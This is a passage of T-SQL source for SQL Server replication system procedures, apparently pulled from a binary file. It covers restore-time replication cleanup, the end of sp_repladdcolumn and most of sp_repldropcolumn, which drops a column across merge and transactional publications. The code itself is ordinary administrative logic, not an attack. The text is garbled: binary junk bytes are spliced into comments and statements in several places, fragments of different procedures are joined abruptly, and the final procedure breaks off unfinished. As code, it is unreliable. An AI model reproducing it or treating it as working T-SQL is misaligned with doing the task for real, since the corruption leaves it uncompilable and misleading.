			')
	end

    -- subscribing dbs are assumed ok

	--take a look and see if this is dist db, and if it needs upgrade
	--no need to upgrade distdb if it's for removal, it contains replication data only, one may want to just load and take a look
	if (object_id(N'MSrepl_commands', N'U') is not null and 
		object_id(N'MSrepl_transactions', N'U') is not null and 
		object_id(N'MSsnapshot_history', N'U') is not null and 
		object_id(N'MSlogreader_history', N'U') is not null and 
		object_id(N'MSdistribution_history', N'U') is not null and
		@remove_repl = 0)
	begin
		-- Verify that this SKU is allowed to be a distributor, otherwise unmark the dist bit but leave the db as is
		exec @retcode= sys.sp_MSsku_allows_replication
		if @@error<>0 or @retcode <> 0
		begin
			set @remove_repl = 1
		end
		else
		begin
			EXEC %%DatabaseEx(Name = @db_curr).SetCompatibility(Level = 90)

			--these two checks are done inside sp_dropdistributiondb, if not set properly, user will not be able to drop distribution db
			--via sp_dropdistributiondb, 
			if EXISTS
			(
				SELECT	*
				FROM	master.dbo.sysservers
				WHERE	UPPER(datasource) = UPPER(@@SERVERNAME) collate database_default
				  AND	srvstatus & 8 <> 0
			)
			begin
				if EXISTS
				(
					SELECT	*
					FROM	msdb..sysobjects
					WHERE	name = 'MSdistributiondbs' collate database_default
				)
				begin
					if (@remove_repl = 0) and EXISTS
					(
						SELECT	*
						FROM	msdb..MSdistributiondbs 
						WHERE	name = @db_curr collate database_default
					)
					begin
					    exec @retcode  = sys.sp_instdist
						if @retcode <> 0 or @@error <> 0
						    return (1)

						exec @retcode = sys.sp_vupgrade_distdb 
						if @retcode <> 0 or @@error <> 0
						    return (1)
					end -- end if entry in MSdistributiondbs
					else
						set @remove_repl = 1
				end -- end if MSdistributiondbs exists in msdb
				else
					set @remove_repl = 1
			end  -- end if sysservers set
			else
				set @remove_repl = 1
		end

		if (@remove_repl = 1)
			EXEC %%DatabaseEx(Name = @db_curr).SetDistributor(Value = 0)
			
		--the rest of logic all have to do with pub/mergepub cleanup, skip for now since we think this is distribution db
		return 0
	end

    if ( @repl_installed = 1 ) and ( @remove_repl = 1 ) 
        exec sys.sp_MSremovedbreplication_internal @dbname = @db_curr, @ignore_distributor = 1, @from_backup = 1
    
    -- publishing db check : transactional : requires coordinated restore of dist db - no way to check
    if(not exists( select * from master.dbo.sysdatabases 
                                    where dbid = db_id(@db_curr)
                                            and category & @db_tranbit = @db_tranbit )
		and @remove_repl = 1) -- @remove_repl is only set to 1 when srv/db is different and keep_replication is not used
    begin
        --backup set contains replication system tables, remove all
        if (object_id(N'syspublications', N'U') is not null)
        begin
            -- publications exist in db, but db on server is not published; 
            -- unpublish the db, ignoring distributor cleanup
            EXEC %%DatabaseEx(Name = @db_curr).SetPublished(Value = 1)
            exec sys.sp_MSpublishdb 'false', 1, @from_backup = 1
            EXEC %%DatabaseEx(Name = @db_curr).SetPublished(Value = 0)
            -- we've already brute force stripped replication from the db, 
            -- don't call sp_removedbreplication at proc exit
        end
        --backup set does not contain replication system tables, but sys.objects or sys.columns are not in clean state
        --due to whatever failure occurred before, let's clean these bits here so not to block user from dropping the object
        --truncating the log, large text or textptr based operation 
        else 
        begin
            --
            -- cleanup the objects that are still marked by replication bits
            --
            exec @retcode = sys.sp_MScleandbobjectsforreplication
            if @retcode <> 0 or @@error <> 0
                return (1)
        end
    end
    
    --set p2p source db originator_lsn by recoveryforklsn (see VSTS 42847)
	if object_id('MSpeer_lsns') is not null
		update MSpeer_lsns set originator_lsn = @recoveryforklsn where originator_lsn is null or originator_lsn = 0x0

        
    if (sys.fn_MSrepl_editionid() in (22, 40)) -- Express  or Web
    begin
        -- Drop all merge publications
        if exists(select category from master.dbo.sysdatabases where upper(name) = upper(@db_curr) 
        			and category & 4 = 4) and
        	object_id('dbo.sysmergepublications', 'U') is not null
        begin
            raiserror(20731, 10, -1) -- Dropping all merge publications
            begin try
                exec sp_dropmergepublication @publication = N'all', @ignore_distributor = 1
                exec sp_replicationdboption @db_curr, N'merge publish', N'false', 1
            end try
            begin catch
                delete from dbo.sysmergepublications 
                	where sys.fn_MSmerge_islocalpubid(pubid) = 1
            end catch
        end
    end
    
    if 0=@remove_repl and 1=@repl_installed and @db_curr = @db_orig and UPPER(@srv_orig) = UPPER(@@servername)
    begin
        -- the following fixup code needs to be done only when restoring the database on the same server
        -- with the same database name. If being restored under a different database name or on a different
        -- server the tables sysmergesubscriptions and sysmergepublications need to be fixed up before the
        -- fixup below can be done. Such fixup is not needed here because restoring with a different name or
        -- on a different server with replication should only be done to view replication metadata for debugging
        -- purposes. To!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<D)%F
+a have a restored database (database restored on to a different server or with a different
        -- name) be used in production there is lot more fixup of replication metadata that needs to be done followed
        -- by the fixup code below.
        if object_id('dbo.sysmergesubscriptions', 'U') is not null
        begin
            -- Check for expired merge subscriptions.
            exec @retcode= sys.sp_MScheckforexpiredmergesubscriptions
                                @mark_expired_as_failed_attach=1
            if @@error<>0 or @retcode<>0 return 1
        
            -- Create entry with new replica nickname for heavyweight.
            -- All other entries that have the old nickname should also get the new one.
            -- Get existing replnick.
            exec sys.sp_MSgetreplnick @replnick = @replnick_old output

            if @replnick_old is not NULL
            begin
                select @compatlevel= sys.fn_MSgetmaxbackcompatlevel ()
                        
                -- Create a new replnick.
                set @srcguid= newid()
                exec sys.sp_MSgenreplnickname 
                            @srcguid= @srcguid, 
                            @replnick= @replnick_new output,
                            @compatlevel= @compatlevel
                            
                exec sys.sp_MScreatenewreplnick @replnick_old, @replnick_new
            end

            -- update identity range values to be NULL for all articles that use identity
            -- range. This is needed so that when the merge is run after restore the publisher
            -- will hand out a new range to the subscriber.
            if object_id('MSmerge_identity_range') is not NULL
            begin
                declare @subid uniqueidentifier

                SELECT top 1 @subid = subid from dbo.sysmergesubscriptions 
                    where status <> 7 and subid<>pubid and (sys.fn_MSmerge_islocalsubid(subid)=1)
                update dbo.MSmerge_identity_range
                    set range_begin = NULL,
                        range_end = NULL,
                        next_range_begin = NULL,
                        next_range_end = NULL,
                        max_used = NULL
                    where subid = @subid and is_pub_range = 0
                if @@rowcount <> 0
                    exec sys.sp_MScreate_zero_identity_constraint @subid
            end

            -- not needed when upgrading since second phase upgrade will recreate the procs and triggers
            if exists (select * from dbo.sysmergearticles) and @perform_upgrade = 0 
            begin
                select @pubid = NULL
                select top 1 @pubid = pubid from dbo.sysmergepublications order by pubid
                while @pubid is not null
                begin
                    exec @retcode = sys.sp_MSregenerate_mergetriggersprocs @pubid=@pubid
                    if @@error <> 0 or @retcode <> 0
                        return 1
                    
                    select @prev_pubid = @pubid
                    select @pubid = NULL
                    
                    select top 1 @pubid = pubid from dbo.sysmergepublications where pubid > @prev_pubid order by pubid
                end
            end            
        end
    end
end
{b{  end
            exec @retcode = sys.sp_MSreinit_article 
                            @publication = @pubname
                            ,@article = @artname
                            ,@need_new_snapshot = @force_invalidate_snapshot
                            ,@need_reinit_subscription = @force_reinit_subscription 
                            ,@force_invalidate_snapshot = @force_invalidate_snapshot
                            ,@force_reinit_subscription = @force_reinit_subscription
            if @retcode <>0 or @@ERROR<>0
                goto DROPTRAN
            if @allow_initialize_from_backup = 1
            begin
                -- If the column being added is an identity column that is 
                -- not marked 'not for replication', do so now. Re-acquire
                -- schema mod lock to make the code more resilient to changes
                -- although this must have been done inside sp_Mrepl_schema
                if @is_identity_column = 1 and 
                   @is_identity_column_not_for_replication <> 1
                begin
                    exec %%Object(MultiName = @qual_source_object).LockMatchID(ID = @objid, Exclusive = 1, BindInternal = 0)
                    --exec %%Object(MultiName = @qual_source_object).LockExclusiveMatchID(ID = @objid)
                    if @@error <> 0 begin select @retcode = 1 goto DROPTRAN end
                    exec %%ColumnEx(ObjectID = @objid, Name = @column).SetIdentityNotForRepl(Value = 1)
                    if @@error <> 0 begin select @retcode = 1 goto DROPTRAN end
                end
                -- Note that the min publication autonosync lsn is 
                -- incremented in sp_articlecolumn
            end
            fetch #trancolumn into @tran_artid, @pubname, @allow_initialize_from_backup            
        END
        close #trancolumn
        deallocate #trancolumn
        exec @retcode = sp_replincrementlsn @schema_end_lsn OUTPUT
        if @@ERROR<>0 or @retcode <> 0
            goto FAILURE
        if (@schema_start_lsn is not null) and (@schema_end_lsn is not null)
        begin
            insert systranschemas (tabid, startlsn, endlsn, typeid) values (@objid, @schema_start_lsn, @schema_end_lsn, 51)
            if @@ERROR<>0
                goto FAILURE
            exec @retcode = sys.sp_replflush @objid, @schema_start_lsn, @schema_end_lsn
            if @@ERROR<>0 or @retcode <> 0
                goto FAILURE
        end
        else
            goto FAILURE
    end
    
    /* Get back to its original replication state */
    if @is_for_merge=1
    begin
        exec @retcode = sys.sp_MSmarkreplinfo @tablename, @owner
        if @retcode<>0 or @@ERROR<>0
            goto FAILURE
    end

    -- end of signal
    EXEC @retcode = sys.sp_MSsetcontext_bypasswholeddleventbit @onoff=0

    if @got_merge_admin_applock=1
        exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'

COMMIT TRAN
--delete ##MS_internal_old_style_DDL_support_being_used where db_name=db_name() and objid= @objid
return (0)

INNER_FAIL:
CLOSE #addcolumn
DEALLOCATE #addcolumn

GOTO FAILURE

ERROR_EXIT:
CLOSE #nosnapshot
DEALLOCATE #nosnapshot
GOTO FAILURE

DROPTRAN:
CLOSE #trancolumn
DEALLOCATE #trancolumn

FAILURE:
    if @got_merge_admin_applock=1
        exec sys.sp_MSreleasemergeadminapplock @lockowner = N'Transaction'
    rollback tran sp_repladdcolumn
    commit tran
    raiserror(21285, 16, -1, @column, @source_object)
    -- end of signal
    EXEC @retcode = sys.sp_M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!!!!
`<(/I{vBQcreate procedure sys.sp_repldropcolumn(
    @source_object      nvarchar(270),
    @column                sysname,
    @from_agent            int = 0, 
    @schema_change_script nvarchar(4000) = NULL,
    @force_invalidate_snapshot bit = 1,    /* Force invalidate existing snapshot */
    @force_reinit_subscription bit = 0    /* Force reinit subscription */

)
as

set nocount on
declare @objid          int
declare @at_publisher   bit
declare @pubname        sysname
declare @artname        sysname
declare @tran_pubname   sysname
declare @tran_artname   sysname
declare @tran_artid     int
declare @tran_pubid     int
declare @colid          int
declare @missing_index  int
declare @tablename      sysname
declare @pubid          uniqueidentifier
declare @artid          uniqueidentifier
declare @partitioned    int
declare @missing_count  int
declare @missing_bm     varbinary(128)
declare @old_missing_bm varbinary(128)
declare @schematext     nvarchar(4000)
declare @schemaversion  int
declare @not_for_merge  bit            -- 1 if the db is not merge replication enabled or the table is not in merge publication
declare @qual_source_object nvarchar(517)
declare @qual_dest_object nvarchar(517)
declare @schematype        int
declare @schemaguid        uniqueidentifier
declare @conflict_table    sysname
declare @ins_conflict_proc nvarchar(258)
declare @publisher        sysname
declare @publisher_db    sysname
declare @command        nvarchar(3000)
declare @sync_objid        int
declare @retcode         int
declare @snapshot_ready int
declare @con_id            int
declare @dest_owner        nvarchar(258)
declare @dest_object    nvarchar(386)
declare @owner            sysname
declare @columnbm        varbinary(128)
declare @in_partition    int
declare @merge_pub_object_bit    int
declare @is_for_merge    bit        -- 1 if db is merge replication enabled and table is in merge publication, ie., not @not_for_merge
declare @is_for_tran    bit
declare @no_schema_replication bit
declare @servername        sysname
declare @dbname            sysname
declare @con_name        sysname
declare @v_unique_index    int
declare @qual_column        nvarchar(258)
declare @indid                int
declare @index_cnt             int
declare @pkkey                sysname
declare @v_unique_constraint    int
declare @merge_pub_unmarkcolumn_bit    int
declare @merge_pub_markcolumn_bit    int
declare @schema_start_lsn binary(10)
declare @schema_end_lsn binary(10)
        ,@BinVar varbinary(128)
declare @contextset bit
declare @got_merge_admin_applock bit

select @got_merge_admin_applock = 0

set @contextset=0

if not exists (select * from sys.objects where name='sysmergepublications') and
    not exists (select * from sys.objects where name='syspublications')
begin
    raiserror(21230, 16, -1)
    return (1)
end

/*
** Security Check
*/
EXEC @retcode = sys.sp_MSreplcheck_subscribe_withddladmin
IF @@ERROR <> 0 or @retcode <> 0
    return (1)

-- check to see if this stored procedure is called via replication agent.
if sessionproperty('replication_agent')<>1
    select @from_agent = 0
else
    select @from_agent = 1
select @merge_pub_markcolumn_bit = 0x4000
select @merge_pub_unmarkcolumn_bit = ~@merge_pub_markcolumn_bit
select @v_unique_constraint = 4096
select @v_unique_index      = 2         -- status in sysindexes

select @qual_column=QUOTENAME(@column)

select @no_schema_replication = 0
select @not_for_merge    = 0
select @merge_pub_object_bit     = 128
select @objid = object_id(@source_object)
select @servername=publishingservername()
select @dbname=db_name()

if @objid is NULL
begin
    --if table does not exists and the SP is called from replication agent, ignore the error and exit with success.
    if @from_agent=1
        return (0)
    else
    begin
        raiserror(14027, 16, -1, @source_object)
        return (1)
    end
end

if not exists (select * from sys.columns where name=@column and object_id=@objid)
begin
    if @from_agent=0
    begin
        raiserror(21166, 16, -1, @column)
        return (1)
    end
    else
        return (0)
end

select @indid = indid from sysindexes where id = @objid and (status & 2048) <> 0    /* PK index */
select @index_cnt = 1
while (@index_cnt <= 16)
begin
    select @pkkey = INDEX_COL(@source_object, @indid, @index_cnt)
    if @pkkey is NULL
        break
    if @pkkey=@column
    begin
        raiserror(21264, 16, -1, @column, @source_object)
        return (1)
    end
    select @index_cnt = @index_cnt + 1
end
    
/*
** Check for unique index defined on this column - to disallow such a column from being dropped
*/    
if exists (select * from sysindexes where id=@objid 
    and (status & @v_unique_index = @v_unique_index 
            or status & @v_unique_constraint = @v_unique_constraint))
begin
    declare @keys varbinary(816)
    declare @i         int
    declare #check_unique CURSOR LOCAL FAST_FORWARD for 
        select indid from sysindexes where id=@objid 
                and (status & @v_unique_index = @v_unique_index 
                    or status & @v_unique_constraint = @v_unique_constraint)
    open #check_unique
    fetch #check_unique into @indid
    while (@@fetch_status<>-1)
    begin
        SELECT @i = 1
        WHILE (@i <= 16)
        BEGIN
            SELECT @pkkey = INDEX_COL(@source_object, @indid, @i)
            if @pkkey is NULL
                break
            if @pkkey=@column
            BEGIN
                raiserror(21265, 16, -1, @column, @source_object)
                close #check_unique
                deallocate #check_unique
                return (1)
            END
            select @i = @i + 1
        END
        fetch #check_unique into @indid
    end
    close #check_unique
    deallocate #check_unique
end

if exists (select * from sys.objects where name='sysmergearticles')
begin
    -- the article can not be inside a republisher
    if @from_agent=0 and exists (select * from dbo.sysmergearticles where objid=@objid and pubid not in 
        (select pubid from dbo.sysmergepublications where LOWER(publisher)=LOWER(@servername) and publisher_db=@dbname))
    begin
        raiserror(21260, 16, -1, @dbname, @servername, @source_object)
        return (1)
    end

end

-- if in both tran and merge publication
if exists (select * from sys.objects where name='sysmergepublications')
    and exists (select * from sys.objects where name='syspublications')
begin
    if not exists (select * from sysarticles where objid=@objid)
            and not exists (select * from dbo.sysmergearticles where objid=@objid)
        select @no_schema_replication=1
end
-- if a merge publication
else if exists (select * from sys.objects where name='sysmergepublications')
begin
    if not exists (select * from dbo.sysmergearticles where objid=@objid)
        select @no_schema_replication = 1
end
-- if a tran publication
else if exists (select * from sys.objects where name='syspublications')
begin
    if not exists (select * from sysarticles a join syspublications p on a.pubid = p.pubid 
	    where a.objid=@objid and p.repl_freq = 0)
        select @no_schema_replication =1
end

if @no_schema_replication=1
begin
    raiserror(21246, 16, -1, @source_object)
    return (1)
end

if exists (select * from sys.objects where name = 'sysmergearticles')
begin
    if exists  (select * from dbo.sysmergearticles where objid=@objid)
        select @is_for_merge=1
    else
        select @is_for_merge=0
end
else
    select @is_for_merge=0

-- PARSENAME VARS
    declare      @UnqualName      sysname  --rightmost name node
    declare      @QualName1       sysname  
-- END PARSENAME VARS

    select @UnqualName = PARSENAME(@source_object, 1)
    select @QualName1 = PARSENAME(@source_object, 2)
    if @UnqualName IS NULL
         return 1
 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(._vBQ   if @QualName1 is not NULL
        select @owner = @QualName1
            else select @owner=schema_name(schema_id) from sys.objects where object_id = @objid

select @tablename = @UnqualName
select @qual_source_object = QUOTENAME(@owner) + N'.' + QUOTENAME(@tablename)
select @at_publisher = 0
select @colid=column_id from sys.columns where object_id=@objid and name=@column
if @colid is NULL
    begin
        raiserror(21166, 16, -1, @column)
        return (1)
    end

/*
** Considering holes, colid is not necessarily the one in bitmap. Get this value from count(*)
*/
select @missing_index = @colid
begin TRAN
save tran sp_repldropcolumn
    /* will be in once server check in full metadata support
    **
    if not exists (select * from tempdb.sys.objects where name = '##MS_internal_old_style_DDL_support_being_used')
        create table ##MS_internal_old_style_DDL_support_being_used(db_name sysname, objid int)

    insert ##MS_internal_old_style_DDL_support_being_used(db_name, objid) values(db_name(), @objid)
    if @@ERROR<>0
        goto FAILURE
    **    
    */
    if @is_for_merge=1
    begin
        -- obtain the snapshot/DDL/admin proc applock to avoid having contention with snapshot
        -- Attempt to get the lock with no wait
        exec @retcode = sys.sp_MSgetmergeadminapplock @timeout = 0, -- no wait
                                                      @lockowner = N'Transaction'
        if @retcode<>0 or @@error<>0
            goto FAILURE
        select @got_merge_admin_applock = 1
        
        exec @retcode = sys.sp_MSunmarkreplinfo @object=@tablename, @owner=@owner
        if @retcode<>0 or @@ERROR<>0
            goto FAILURE
    end


    select @is_for_tran = 0    
    if exists (select * from sys.objects where name='sysarticles')
    begin
        if exists (select * from dbo.sysarticles where objid=@objid)
        begin
            if exists (SELECT P.pubid FROM dbo.syspublications P, dbo.sysarticles A, dbo.syssubscriptions S 
                    WHERE A.objid = @objid    and A.pubid = P.pubid and A.artid = S.artid
                        and (P.allow_sync_tran = 1 or P.allow_queued_tran = 1) 
                        and S.status = 2  -- active
                        and S.sync_type != 2 -- not 'none'
                        and S.update_mode != 0 ) -- not 'read only'
             and @force_reinit_subscription = 0
            begin 
                raiserror(21381, 16, -1, @tablename)
                goto FAILURE
            end

            select @is_for_tran =1
        end
    end

    if @is_for_tran = 1 or @is_for_merge=1
    begin
            EXEC @retcode = sys.sp_MSsetcontext_bypasswholeddleventbit @onoff=1
            IF @@ERROR <> 0 or @retcode <> 0
                RETURN(1)
        set @contextset=1
    end

    /*
    ** First call TRAN Level stored procedure to 
    */
    if @is_for_tran = 1
    begin
        exec @retcode = sys.sp_MSprep_exclusive @qual_source_object
        if @@ERROR<>0 or @retcode <> 0
            goto FAILURE
        exec @retcode = sp_replincrementlsn @schema_start_lsn OUTPUT
        if @@ERROR<>0 or @retcode <> 0
            goto FAILURE

        declare #trancolumn CURSOR LOCAL FAST_FORWARD for 
            select a.artid, p.name from sysarticles a, syspublications p where a.objid=@objid
                    and p.pubid = a.pubid
        open #trancolumn
        fetch #trancolumn into @tran_artid, @tran_pubname
        while (@@fetch_status <> -1)
        BEGIN
            select @tran_artname=name from sysarticles where artid=@tran_artid
            exec @retcode = sys.sp_articlecolumn @publication = @tran_pubname, @article = @tran_artname, @column = @column, 
                         @operation = 'drop', @change_active = 2
                        ,@force_invalidate_snapshot = 1
                        ,@force_reinit_subscription = 1
                        ,@internal = 1
            if @retcode <>0 or @@ERROR<>0
                goto DROPTRAN
            fetch #trancolumn into @tran_artid, @tran_pubname            
        END
        close #trancolumn
        deallocate #trancolumn
    end


    if not exists (select * from sys.objects where name='sysmergearticles')
        select @not_for_merge = 1
    else
        if not exists (select * from dbo.sysmergearticles where objid=@objid)
            select @not_for_merge =1

            
    if @not_for_merge = 1 
    begin
        if exists (select * from sys.columns where name=@column and object_id =@objid)
        begin
            exec ('alter table '+ @qual_source_object + ' drop column ' + @qual_column )
                    if @@ERROR<>0
                        goto FAILURE
            exec @retcode = sys.sp_MSverifytranfilter @objid
            if @@ERROR <> 0 or @retcode <> 0
            begin
                goto FAILURE
            end                    
            
        end
    end
    else
    begin
        if exists (select * from dbo.sysmergepublications where pubid in 
            (select pubid from dbo.sysmergearticles where objid=@objid) and snapshot_ready=0)
            and exists (select * from sys.columns where name=@column and object_id =@objid)
        begin
            declare #nosnapshot CURSOR LOCAL FAST_FORWARD for
                select p.name, a.name from dbo.sysmergepublications p, dbo.sysmergearticles a 
                    where p.pubid=a.pubid and a.objid=@objid and p.snapshot_ready=0
            open #nosnapshot
            fetch #nosnapshot into @pubname, @artname
            while (@@fetch_status<>-1)
            begin
        		-- Indicate that this is an internal caller of sp_mergearticlecolumn
				EXEC @retcode = sys.sp_MSsetcontext_internalcaller @onoff=1
				IF @@ERROR <> 0 or @retcode <> 0
                    goto ERROR_EXIT

                exec @retcode = sys.sp_mergearticlecolumn @pubname, @artname, @column, 'drop', 'true'
                if @retcode <>0 or @@ERROR<>0
                    goto ERROR_EXIT

        		-- Turn off indication that this is an internal caller of sp_mergearticlecolumn
				EXEC @retcode = sys.sp_MSsetcontext_internalcaller @onoff=0
				IF @@ERROR <> 0 or @retcode <> 0
                    goto ERROR_EXIT
            
                fetch #nosnapshot into @pubname, @artname
            end
            close #nosnapshot
            deallocate #nosnapshot
        end

        declare #dropcolumn_schema CURSOR LOCAL FAST_FORWARD for 
                select name, pubid, artid, destination_owner, columns from dbo.sysmergearticles where objid=@objid and pubid
                            in (select pubid from dbo.sysmergepublications where snapshot_ready>0) order by pubid ASC
        open #dropcolumn_schema
        fetch #dropcolumn_schema into @artname, @pubid, @artid, @dest_owner, @columnbm
        while (@@fetch_status <> -1)
        BEGIN
            if @dest_owner is not NULL
                select @dest_object = QUOTENAME(@dest_owner) + N'.' + QUOTENAME(@tablename)
            else
                select @dest_object = QUOTENAME(@tablename)

            exec @in_partition = sys.sp_MStestbit @bm=@columnbm, @coltotest=@colid

            select @pubname=name, @publisher=publisher, @publisher_db=publisher_db
                from dbo.sysmergepublications where pubid=@pubid
            select @at_publisher=0
            if @publisher=publishingservername() and @publisher_db=db_name() and @in_partition<>0
            begin
                select @at_publisher=1
                select @schematext = 'exec sp_repldropcolumn ''' + replace(@dest_object, '''', '''''') + ''', ''' + replace(@column, '''', '''''') + ''', 1'
                select @schemaversion = schemaversion from dbo.sysmergeschemachange
                if (@schemaversion is NULL)
                    set @schemaversion = 1
                else
                  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(޿XvBQ  select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange        
                set @schemaguid = newid()
                set @schematype = 11 /* alter table */

                -- Indicate that this is an internal caller of sp_mergearticlecolumn
                EXEC @retcode = sys.sp_MSsetcontext_internalcaller @onoff=1
                IF @@ERROR <> 0 or @retcode <> 0
                    goto INNER_FAIL2

                exec @retcode = sys.sp_mergearticlecolumn @pubname, @artname, @column, 'drop', 'true'
                if @retcode<>0 or @@ERROR<>0
                    goto INNER_FAIL2 -- need to deallocate cursor for this loop.

                -- Turn off indication that this is an internal caller of sp_mergearticlecolumn
                EXEC @retcode = sys.sp_MSsetcontext_internalcaller @onoff=0
                IF @@ERROR <> 0 or @retcode <> 0
                    goto INNER_FAIL2
                
                exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
                if @@ERROR<>0 or @retcode<>0 
                    goto INNER_FAIL2
                    
                select @schematext = 'alter table ' +  @dest_object + ' drop column ' + @qual_column 
                select @schemaversion = @schemaversion + 1
                set @schematype = 13 -- for Jet use only
                set @schemaguid = newid()
                exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
                if @@ERROR<>0 or @retcode<>0 
                    goto INNER_FAIL2

                select @schematext = N' if object_id(''' + @dest_object + ''') is not NULL and exists (select * from syscolumns where name = ''' + replace(@column, '''', '''''') + ''' and id = object_id(''' + @dest_object + ''')) ' +'alter table ' +  @dest_object + ' drop column ' + QUOTENAME(@column)
                select @schemaversion = @schemaversion + 1
                set @schematype = 300 -- for 90+ ddl user
                set @schemaguid = newid()
                exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
                if @@ERROR<>0 or @retcode<>0 
                    goto INNER_FAIL2
            end
            fetch #dropcolumn_schema into @artname, @pubid, @artid, @dest_owner, @columnbm
        END
        close #dropcolumn_schema
        deallocate #dropcolumn_schema

        /* drop the column only once */
        if exists (select  *  from sys.columns where object_id=@objid and name=@column)
        begin
            select @command = 'alter table ' + @qual_source_object + ' drop column ' + @qual_column
            exec (@command)
            if @@ERROR<>0
                GOTO INNER_FAIL

            -- if transactionally replicated, verify that filter columns weren't dropped

            if( @is_for_tran = 1 )
            begin
                exec @retcode = sys.sp_MSverifytranfilter @objid
                if @@ERROR <> 0 or @retcode <> 0
                begin
                    goto FAILURE
                end                    
            end
        end
        declare #dropcolumn CURSOR LOCAL FAST_FORWARD for 
                select pubid, name, sync_objid, artid, missing_col_count, missing_cols, 
                    conflict_table, ins_conflict_proc from dbo.sysmergearticles where objid=@objid and pubid
                            in (select pubid from dbo.sysmergepublications where snapshot_ready>0) order by pubid ASC
        open #dropcolumn
        fetch #dropcolumn into @pubid, @artname, @sync_objid, @artid, 
                @missing_count, @missing_bm, @conflict_table, @ins_conflict_proc
        while (@@fetch_status <> -1)
        BEGIN
            select @pubname=name, @publisher=publisher, @publisher_db=publisher_db
                from dbo.sysmergepublications where pubid=@pubid
            select @at_publisher=0
            if @publisher=publishingservername() and @publisher_db=db_name()
                select @at_publisher=1

            if @conflict_table is not NULL 
            begin
                select @con_id = object_id(quotename(@conflict_table))
                if @con_id is NULL
                begin
                    raiserror(21286, 16, -1, @conflict_table)
                    GOTO INNER_FAIL
                end

            select @colid=column_id from sys.columns where object_id = @con_id and name=@column            
            

                if exists (select name from sys.columns where name=@column and object_id=@con_id)
                begin
                    select @command = 'alter table ' + QUOTENAME(@conflict_table) + ' drop column ' + @qual_column
                    exec (@command)
                    if @@ERROR<>0
                        goto INNER_FAIL
                end
            end

            /*
            ** Force the re-generation of conflict insert table cause the schema is changed for sure
            */
            if @ins_conflict_proc is not NULL and object_id(@ins_conflict_proc) is not NULL
            begin
                select @ins_conflict_proc = QUOTENAME(@ins_conflict_proc)
                
                exec ('drop procedure ' + @ins_conflict_proc)
                if @@ERROR<>0
                    goto INNER_FAIL
                update dbo.sysmergearticles set ins_conflict_proc=NULL where pubid=@pubid and artid=@artid
                if @@ERROR<>0
                    goto INNER_FAIL
            end

            if @at_publisher=1
            begin
                exec @retcode = sys.sp_MSpublicationview @publication = @pubname, @force_flag = 2, @articlename = @artname
                if @retcode<>0 or @@ERROR<>0
                begin
                    raiserror(21201, 16, -1) 
                    goto INNER_FAIL
                end
            end
            select @missing_count=@missing_count + 1
            select @old_missing_bm=@missing_bm
            exec @retcode=sys.sp_MSsetbit @missing_bm OUTPUT, @missing_index
            if @retcode<>0 or @@ERROR<>0
                goto INNER_FAIL
            --if no change, that is, the column is already marked as missing, do not increase 
            --its count
            
            if @missing_bm<>@old_missing_bm
            begin
                update dbo.sysmergearticles set missing_col_count=@missing_count, missing_cols=@missing_bm
                        where pubid=@pubid and artid=@artid
                if @@ERROR<>0
                    goto INNER_FAIL
            end


                
            exec @retcode = sys.sp_MSdroparticletriggers @tablename, @owner
            if @retcode<>0 or @@ERROR<>0
                goto INNER_FAIL
            exec @retcode = sys.sp_MSaddmergetriggers @qual_source_object
            if @retcode<>0 or @@ERROR<>0
                goto INNER_FAIL
            if @at_publisher=1
                exec @retcode = sys.sp_MSsetartprocs @publication=@pubname, @article=@artname, @force_flag=0, @pubid=@pubid
            else
                exec @retcode = sys.sp_MSmakearticleprocs @pubid, @artid
            if @retcode<>0 or @@ERROR<>0
                goto INNER_FAIL
            /*
            ** passing in one more parameter to sp_MSgetconflictinsertproc such that there is 
            ** no select statement at the end of that SP as needed else where. The default is 1.
            */
            exec @retcode = sys.sp_MSgetconflictinsertproc @artid, @pubid, 0, 1
            if @retcode<>0 or @@ERROR<>0
                goto INNER_FAIL

            fetch #dropcolumn into @pubid, @artname, @sync_objid, @artid, 
                @missing_count, @missing_bm, @conflict_table, @ins_conflict_proc
        END
        CLOSE #dropcolumn
        DEALLOCATE #dropcolumn

        -!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<$BQ- do column index shifting for MSmerge_contents.colv1 if there is dropped column
        declare @rowguid uniqueidentifier
        declare @delcols_now varbinary(128) 
        declare @cols_being_dropped varbinary(128)
        declare @input_colv1 varbinary(2953)
        declare @output_colv1 varbinary(2953)
        declare @islightweight bit

        select top 1 @islightweight= lightweight
            from dbo.sysmergearticles where objid=@objid

        exec sys.sp_MSfillup_deleted_cols @objid, @delcols_now OUTPUT
        set @delcols_now=isnull(@delcols_now, 0x00)
        begin
            update dbo.sysmergearticles set deleted_cols=@delcols_now
                where objid=@objid

            -- set bitmap using @colid
            exec sys.sp_MSsetbit @cols_being_dropped out, @colid

            if @islightweight <>1 and @islightweight is not null
            begin
                -- going over all pub/art with the object and adjust their MSmerge_contents.colv1
                declare cur_RowColv1 CURSOR LOCAL FORWARD_ONLY for 
                        select rowguid, colv1
                        from dbo.MSmerge_contents 
                        where colv1 is not null and tablenick in (select nickname from dbo.sysmergearticles where objid=@objid)    
                        FOR update of colv1
                    
                open cur_RowColv1
                fetch next from cur_RowColv1 into @rowguid, @input_colv1

                    while (@@fetch_status <> -1)
                    begin
                        exec @retcode=sys.sp_MSget_shifted_colv1 @cols_being_dropped, @input_colv1, @output_colv1 output

                        if @@error<>0 or @retcode<>0 
                            goto FAILURE

                        update dbo.MSmerge_contents 
                            set colv1=@output_colv1
                            where current of cur_RowColv1
                        
                        fetch next from cur_RowColv1 into @rowguid, @input_colv1
                    end

                    close cur_RowColv1
                    deallocate cur_RowColv1
              end 
              -- what about LWS?

        end


        if @is_for_merge=1
        begin
            exec @retcode = sys.sp_MSmarkreplinfo @tablename, @owner
            if @retcode<>0 or @@ERROR<>0
                goto FAILURE
        end
    end

-- finally, if it's transactional, trigger a reinit
if @is_for_tran = 1
begin

    if exists (select * from sysarticles where objid = @objid)
    begin
